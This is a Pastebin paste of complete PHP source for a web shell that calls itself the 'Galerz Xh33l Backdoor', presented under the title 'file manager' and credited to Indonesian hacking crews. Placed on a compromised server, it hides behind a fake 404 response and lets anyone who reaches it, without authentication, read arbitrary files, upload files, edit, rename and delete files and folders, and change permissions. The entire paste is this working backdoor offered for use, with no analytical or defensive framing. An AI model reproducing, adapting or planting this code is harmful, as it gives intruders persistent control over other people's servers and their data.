Advertisement
VanGans

file manager

Sep 15th, 2019
372
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.16 KB | None | 0 0
  1. <?php
  2.  
  3. //
  4. //Galerz Xh33l Backdoor
  5. //Redesign By x48 a.k.a UstadCage_48
  6. //
  7.  
  8. set_time_limit(0);
  9. error_reporting(0);
  10. header('HTTP/1.0 404 Not Found', true, 404);
  11.  
  12. if(get_magic_quotes_gpc()){
  13. foreach($_POST as $key=>$value){
  14. $_POST[$key] = stripslashes($value);
  15. }
  16. }
  17. echo '<!doctype html>
  18. <html>
  19. <head>
  20. <title>$$ Beby $$</title>
  21. </head>';
  22.  
  23. ?>
  24.  
  25. <style>
  26. @font-face {
  27. font-family: 'Comic Sans MS';
  28. font-style: normal;
  29. font-weight: 400;
  30. src: local('Comic Sans MS'), local('ComicSansMS'), url(http://fonts.gstatic.com/l/font?kit=3oir0CAJ0QJ5h5-A3AP8rRSrmRvs-bRaaQbSAUyiv7A&skey=a4ba60ff9fc73cf8&v=v8) format('truetype');
  31. }
  32. body {
  33.  
  34. background: #000000;line-height: 1;color: #fff;font-family: Comic Sans MS ;
  35.  
  36. }
  37.  
  38. table, th, td {
  39. border-collapse:collapse;
  40. background: transparent;
  41. font-family: Comic Sans MS ;
  42. font-size: 13px;
  43. }
  44. input, textarea { font-family: Comic Sans MS ; }
  45. .table_home, .th_home, .td_home { color:grey;
  46. border: 1px solid grey;
  47. }
  48. th {
  49. padding: 10px;
  50. }
  51. .td_home { padding: 7px; }
  52. select {font-family: Comic Sans MS }
  53. a {color:white}
  54. textarea { width: 100%;height: 400px; }
  55. </style>
  56. <?php
  57.  
  58. echo '</head>
  59. <body><b>
  60. <H1><center> &lt;/&gt; <font color="red">USTADCAGE_48</font> <font color="dodgerblue">FILE MANAGER</font></center></h1>
  61. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  62.  
  63. <tr><td>
  64.  
  65. <font color="green"><center>'.php_uname().'</center></font><br>';
  66. if(isset($_GET['path'])){
  67. $path = $_GET['path'];
  68. }else{
  69. $path =
  70.  
  71.  
  72. getcwd();
  73.  
  74. }
  75. $path = str_replace('\\','/',$path);
  76. $paths = explode('/',$path);
  77.  
  78. foreach($paths as $id=>$pat){
  79. if($pat == '' && $id == 0){
  80. $a = true;
  81. echo '<font color=#fff><center>$ root@x48 : <a href="?path=/">/</a>';
  82. continue;
  83. }
  84. if($pat == '') continue;
  85. echo '<a href="?path=';
  86. for($i=0;$i<=$id;$i++){
  87. echo "$paths[$i]";
  88. if($i != $id) echo "/";
  89. }
  90. echo '">'.$pat.'</a>/';
  91. }
  92. echo '</font></center></td></tr><tr><td><center>';
  93. if(isset($_FILES['file'])){
  94. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  95. echo '<font color="green">File Upload</font><br />';
  96. }else{
  97. echo '<font color="red">Upload Failed !!</font><br />';
  98. }
  99. }
  100. echo '</center><center><form enctype="multipart/form-data" method="POST"><font color="black"><input style="background:silver;font-family: Comic Sans MS " type="file" name="file" />
  101. <input type="submit" value="Uploadd" />
  102. </form></center>
  103. </td></tr>';
  104. if(isset($_GET['filesrc'])){
  105. echo "<tr><td><center>Current File : ";
  106. echo $_GET['filesrc'];
  107. echo '</center></tr></td></table><br />';
  108. echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
  109. }
  110. //Empety
  111. elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
  112. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  113. //Chmod
  114. if($_GET['opt'] == 'chmod'){
  115. if(isset($_POST['perm'])){
  116. if(chmod($_POST['path'],$_POST['perm'])){
  117. echo '<font color="green">Change Permission Done </font><br />';
  118. }else{
  119. echo '<font color="red">Change Permission Error </font><br />';
  120. }
  121. }
  122.  
  123. $hell = $_GET['path'];
  124. $yeah = $_GET['name'];
  125. $patc = "$hell/$yeah";
  126.  
  127. echo '<form method="POST">
  128. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($patc)), -4).'" />
  129. <input type="hidden" name="path" value="'.$_POST['path'].'">
  130. <input type="hidden" name="opt" value="chmod">
  131. <input type="submit" value="Go" />
  132. </form>';
  133. }
  134. //
  135. elseif($_GET['opt'] == 'btw'){
  136. $cwd = getcwd();
  137. echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
  138. New Name : <input name="name" type="text" size="20" value="Folder" />
  139. <input type="hidden" name="path" value="'.$cwd.'">
  140. <input type="hidden" name="opt" value="delete">
  141. <input type="submit" value="Go" />
  142. </form>';
  143. }
  144. //Rename file
  145. elseif($_GET['opt'] == 'rename'){
  146. if(isset($_POST['newname'])){
  147. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  148. echo '<font color="green">Change Name Done </font><br />';
  149. }else{
  150. echo '<font color="red">Change Name Error </font><br />';
  151. }
  152. $_POST['name'] = $_POST['newname'];
  153. }
  154. $hell = $_GET['path'];
  155. $yeah = $_GET['name'];
  156. $patc = "$hell/$yeah";
  157. $new = $_POST['newname'];
  158.  
  159. echo '<form method="POST">
  160. New Name : <input name="newname" type="text" size="20" value="'.$new.'" />
  161. <input type="hidden" name="path" value="'.$patc.'">
  162. <input type="hidden" name="opt" value="rename">
  163. <input type="submit" value="Go" />
  164. </form>';
  165. }
  166. //File baru
  167. elseif($_GET['opt'] == 'baru'){
  168.  
  169. $hell = $_GET['path'];
  170. $yeah = $_GET['name'];
  171. $patc = "$hell/$yeah";
  172. $new = $_POST['newname'];
  173. $azz = $_POST['path'];
  174. $newz = "$azz/$new";
  175.  
  176.  
  177. if(isset($_POST['src'])){
  178. $fp = fopen($_POST['path'],'w');
  179. if(fwrite($fp,$_POST['src'])){
  180. echo '<font color="green">Create File Done [ '.$new.' ]</font><br />';
  181. }else{
  182. echo '<font color="red">Create File Error</font><br />';
  183. }
  184. fclose($fp);
  185. }
  186.  
  187. echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="'.$new.'" /><input type="submit" name="ngaran" value="Create"/></form><br> ';
  188.  
  189. $ho = $_POST['ngaran1'];
  190.  
  191. if(isset($_POST['ngaran'])){
  192. echo '<form method="POST">
  193. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  194. <input type="hidden" name="path" value="'.$hell.'/'.$ho.'">
  195. <input type="hidden" name="opt" value="edit">
  196. <input type="submit" value="Go" />
  197. </form>';
  198. }
  199. }
  200. //Edited file
  201. elseif($_GET['opt'] == 'edit'){
  202. if(isset($_POST['src'])){
  203. $fp = fopen($_POST['path'],'w');
  204. if(fwrite($fp,$_POST['src'])){
  205. echo '<font color="green">Edit File Done </font><br />';
  206. }else{
  207. echo '<font color="red">Edit File Error </font><br />';
  208. }
  209. fclose($fp);
  210. }
  211. $hell = $_GET['path'];
  212. $yeah = $_GET['name'];
  213. $patc = "$hell/$yeah";
  214. echo '<form method="POST">
  215. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
  216. <input type="hidden" name="path" value="'.$patc.'">
  217. <input type="hidden" name="opt" value="edit">
  218. <input type="submit" value="Go" />
  219. </form>';
  220. }
  221. echo '</center>';
  222. }else{
  223. echo '</table><br /><center>';
  224. //Delete dir and file
  225. if(isset($_GET['option']) && $_GET['opt'] == 'delete'){
  226.  
  227. $hell = $_GET['path'];
  228. $yeah = $_GET['name'];
  229. $patc = "$hell/$yeah";
  230.  
  231. //Delete dir
  232. if($_GET['type'] == 'dir'){
  233.  
  234. if(rmdir($patc)){
  235. echo '<font color="green">Delete File Done</font><br />';
  236. }else{
  237. echo '<font color="red#">Delete File Error </font><br />';
  238. }
  239. }
  240. //buat folder
  241. if($_GET['type'] == 'buat'){
  242. $haaa = $_POST['path'];
  243. $heee = $_POST['name'];
  244. $hooo = "$haaa/$heee";
  245. $new = $haaa.'/'.htmlspecialchars($heee);
  246. if(!mkdir($new)){
  247. echo '<font color="red">Create Folder Error</font><br />';
  248. }else{
  249. echo '<font color="green">Create Folder Done </font><br />';
  250. }
  251. }
  252. //Delete file
  253. elseif($_GET['type'] == 'file'){
  254.  
  255. $hell = $_GET['path'];
  256. $yeah = $_GET['name'];
  257. $patc = "$hell/$yeah";
  258.  
  259. if(unlink($patc)){
  260. echo '<font color="green">Delete File Done</font><br />';
  261. }else{
  262. echo '<font color="red#">Delete File Error </font><br />';
  263. }
  264. }
  265. }
  266. echo '</center>';
  267. $scandir = scandir($path);
  268. $pa = getcwd();
  269. echo ' <table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  270. <tr>
  271. <th class=th_home style="background:silver;color:black;"><center>Name</center></th>
  272. <th class=th_home style="background:silver;color:black;" ><center>Size</center></th>
  273. <th class=th_home style="background:silver;color:black;" ><center>Perm</center></th>
  274. <th class=th_home style="background:silver;color:black;" ><center>Options</center></th>
  275. </tr> <tr>
  276. <td class=td_home>..</td><td class=td_home align=center>NONE</td> <td class=td_home align=center>LINK</td> <td class=td_home align=center> <a href="?option&path='.$pa.'&opt=baru&name=new.php">+ New File</a> | <a href="?option&path='.$pa.'&opt=btw&type=dir">+ New Dir</a> </td></tr>
  277. ';
  278.  
  279. foreach($scandir as $dir){
  280. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  281. echo "
  282. <tr>
  283. <td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path=$path/$dir\">$dir</a></td>
  284. <td class=td_home ><center>DIR</center></td>
  285. <td class=td_home ><center>";
  286. if(is_writable("$path/$dir")) echo '<font color="green">';
  287. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  288. echo perms("$path/$dir");
  289. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  290.  
  291. echo "</center></td>
  292. <td class=td_home ><center>
  293. <a href=\"?option&path=$path&opt=rename&type=dir&name=$dir\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=dir&name=$dir\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=dir&name=$dir\">Chmod</a>
  294.  
  295. </center></td>
  296. </tr>";
  297. }
  298. echo '<br>';
  299. foreach($scandir as $file){
  300. if(!is_file("$path/$file")) continue;
  301. $size = filesize("$path/$file")/1024;
  302. $size = round($size,3);
  303. if($size >= 1024){
  304. $size = round($size/1024,2).' MB';
  305. }else{
  306. $size = $size.' KB';
  307. }
  308.  
  309. echo "<tr>
  310. <td class=td_home > <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  311. <td class=td_home><center>".$size."</center></td>
  312. <td class=td_home><center>";
  313. if(is_writable("$path/$file")) echo '<font color="green">';
  314. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  315. echo perms("$path/$file");
  316. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  317. echo "</center></td>
  318. <td class=td_home><center>
  319. <a href=\"?option&path=$path&opt=edit&type=file&name=$file\">Edit</a> <a href=\"?option&path=$path&opt=rename&type=file&name=$file&path=$path\">Rename</a> <a href=\"?option&path=$path&opt=delete&type=file&name=$file\">Delete</a> <a href=\"?option&path=$path&opt=chmod&type=file&name=$file\">Chmod</a>
  320. </center></td>
  321. </tr>";
  322. }
  323. echo '</table>
  324. </div>';
  325. }
  326. echo '<br><center>{ X48 - RES7OCK CREW - INDOXPLOIT CODERS - SUMEDANG CYBER TEAM }<br>[SKILL 1%] [BACOT 98%] [COLI 1%]<br>&lt;/&gt; ZONE_BLACK_HOLE</b></body>
  327. </html>';
  328. function perms($file){
  329. $perms = fileperms($file);
  330.  
  331. if (($perms & 0xC000) == 0xC000) {
  332. // Socket
  333. $info = 's';
  334. } elseif (($perms & 0xA000) == 0xA000) {
  335. // Symbolic Link
  336. $info = 'l';
  337. } elseif (($perms & 0x8000) == 0x8000) {
  338. // Regular
  339. $info = '-';
  340. } elseif (($perms & 0x6000) == 0x6000) {
  341. // Block special
  342. $info = 'b';
  343. } elseif (($perms & 0x4000) == 0x4000) {
  344. // Directory
  345. $info = 'd';
  346. } elseif (($perms & 0x2000) == 0x2000) {
  347. // Character special
  348. $info = 'c';
  349. } elseif (($perms & 0x1000) == 0x1000) {
  350. // FIFO pipe
  351. $info = 'p';
  352. } else {
  353. // Unknown
  354. $info = 'u';
  355. }
  356.  
  357. // Owner
  358. $info .= (($perms & 0x0100) ? 'r' : '-');
  359. $info .= (($perms & 0x0080) ? 'w' : '-');
  360. $info .= (($perms & 0x0040) ?
  361. (($perms & 0x0800) ? 's' : 'x' ) :
  362. (($perms & 0x0800) ? 'S' : '-'));
  363.  
  364. // Group
  365. $info .= (($perms & 0x0020) ? 'r' : '-');
  366. $info .= (($perms & 0x0010) ? 'w' : '-');
  367. $info .= (($perms & 0x0008) ?
  368. (($perms & 0x0400) ? 's' : 'x' ) :
  369. (($perms & 0x0400) ? 'S' : '-'));
  370.  
  371. // World
  372. $info .= (($perms & 0x0004) ? 'r' : '-');
  373. $info .= (($perms & 0x0002) ? 'w' : '-');
  374. $info .= (($perms & 0x0001) ?
  375. (($perms & 0x0200) ? 't' : 'x' ) :
  376. (($perms & 0x0200) ? 'T' : '-'));
  377.  
  378. return $info;
  379. }
  380.  
  381. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement